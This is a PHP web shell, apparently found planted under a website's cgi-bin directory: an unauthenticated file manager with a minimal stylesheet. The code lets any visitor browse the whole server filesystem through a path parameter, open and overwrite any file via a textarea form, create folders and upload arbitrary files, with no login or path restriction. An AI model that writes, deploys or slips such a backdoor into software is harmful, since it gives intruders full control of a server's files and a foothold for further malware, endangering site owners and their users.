| Current File : /home/pariaqke/joleec.com/cgi-bin/script-modules/index.php |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="dam-owner" content="DAM-BEC5-b5946eb3">
<title>0s</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f0f0f0;
}
#container {
max-width: 800px;
margin: 20px auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
h2 {
margin-top: 30px;
color: #555;
word-wrap: break-word;
}
ul {
list-style-type: none;
padding: 0;
}
li {
margin-bottom: 10px;
padding: 5px;
border-bottom: 1px solid #eee;
}
a {
text-decoration: none;
color: #007bff;
}
a:hover {
text-decoration: underline;
}
form {
margin-top: 20px;
background: #eee;
padding: 15px;
border-radius: 5px;
}
input[type="text"], input[type="file"], input[type="submit"] {
margin-bottom: 10px;
display: block;
}
textarea {
width: 100%;
font-family: monospace;
padding: 10px;
box-sizing: border-box;
}
hr {
border: 0;
height: 1px;
background-color: #ccc;
margin: 20px 0;
}
</style>
</head>
<body>
<div id="container">
<?php
// Function: Clean inputs
function clean_input($input) {
return htmlspecialchars(strip_tags($input));
}
// Function: Directory navigation (Breadcrumbs)
function navigate_directory($path) {
$path = str_replace('\\','/', $path);
$paths = explode('/', $path);
$breadcrumbs = [];
$current_build = "";
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$breadcrumbs[] = '<a href="?path=/">/</a>';
continue;
}
if ($pat == '') continue;
$current_build .= "/" . $pat;
$breadcrumbs[] = '<a href="?path=' . urlencode($current_build) . '">'.$pat.'</a>/';
}
return implode('', $breadcrumbs);
}
// Function: List directory contents
function display_directory_contents($path) {
if (!is_dir($path)) {
echo "Invalid directory.";
return;
}
$contents = scandir($path);
$folders = [];
$files = [];
foreach ($contents as $item) {
if ($item == '.' || $item == '..') continue;
$full_path = $path . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$folders[] = '<li><strong>[Folder]</strong> <a href="?path=' . urlencode($full_path) . '">' . $item . '</a></li>';
} else {
$file_size = filesize($full_path);
$size_unit = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = $file_size ? floor(log($file_size, 1024)) : 0;
$file_size_formatted = round($file_size / pow(1024, $i), 2) . ' ' . $size_unit[$i];
$files[] = '<li><strong>[File]</strong> <a href="?action=edit&file=' . urlencode($item) . '&path=' . urlencode($path) . '">' . $item . '</a> (' . $file_size_formatted . ')</li>';
}
}
echo '<ul>';
echo implode('', $folders);
if (!empty($folders) && !empty($files)) echo '<hr>';
echo implode('', $files);
echo '</ul>';
}
// Function: Create folder
function create_folder($path, $folder_name) {
$folder_name = clean_input($folder_name);
$new_folder_path = $path . DIRECTORY_SEPARATOR . $folder_name;
if (!file_exists($new_folder_path)) {
if (mkdir($new_folder_path)) {
echo "<p style='color:green;'>Folder '$folder_name' created successfully!</p>";
} else {
echo "<p style='color:red;'>Failed to create folder. Check permissions.</p>";
}
} else {
echo "<p style='color:orange;'>Folder already exists!</p>";
}
}
// Function: Upload file
function upload_file($path, $file_to_upload) {
$target_file = $path . DIRECTORY_SEPARATOR . basename($file_to_upload['name']);
if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) {
echo "<p style='color:green;'>File uploaded successfully: ". htmlspecialchars(basename($file_to_upload['name'])). "</p>";
} else {
echo "<p style='color:red;'>An error occurred during upload.</p>";
}
}
// Function: Edit file
function edit_file($file_path) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) {
$content = $_POST['file_content'];
if (file_put_contents($file_path, $content) !== false) {
echo "<p style='color:green;'>File saved.</p>";
} else {
echo "<p style='color:red;'>Save error!</p>";
}
}
$content = file_exists($file_path) ? file_get_contents($file_path) : "";
echo '<form method="post">';
echo '<textarea name="file_content" rows="15">' . htmlspecialchars($content) . '</textarea><br>';
echo '<input type="submit" value="Save Changes">';
echo '<a href="?path='.urlencode(dirname($file_path)).'"> back</a>';
echo '</form>';
}
// --- MAIN FLOW ---
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path); // Security and path correction
// Create folder trigger
if(isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
create_folder($path, $_POST['folder_name']);
}
// File upload trigger
if(isset($_POST['upload_file']) && isset($_FILES['file_to_upload'])) {
upload_file($path, $_FILES['file_to_upload']);
}
// Page content
if (isset($_GET['action']) && $_GET['action'] == 'edit') {
$file = $_GET['file'];
$file_path = $path . DIRECTORY_SEPARATOR . $file;
echo '<h2>Editing File: ' . htmlspecialchars($file) . '</h2>';
edit_file($file_path);
} else {
echo "<h2>Current Directory: " . htmlspecialchars($path) . "</h2>";
echo "<p>Navigation: " . navigate_directory($path) . "</p>";
echo "<h3>Contents:</h3>";
display_directory_contents($path);
echo '<hr>';
echo '<h3>New Folder:</h3>';
echo '<form action="" method="post">
<input type="text" name="folder_name" placeholder="Folder name...">
<input type="submit" name="create_folder" value="Create">
</form>';
echo '<h3>Upload File:</h3>';
echo '<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file_to_upload">
<input type="submit" name="upload_file" value="Upload">
</form>';
}
?>
</div>
</body>
</html>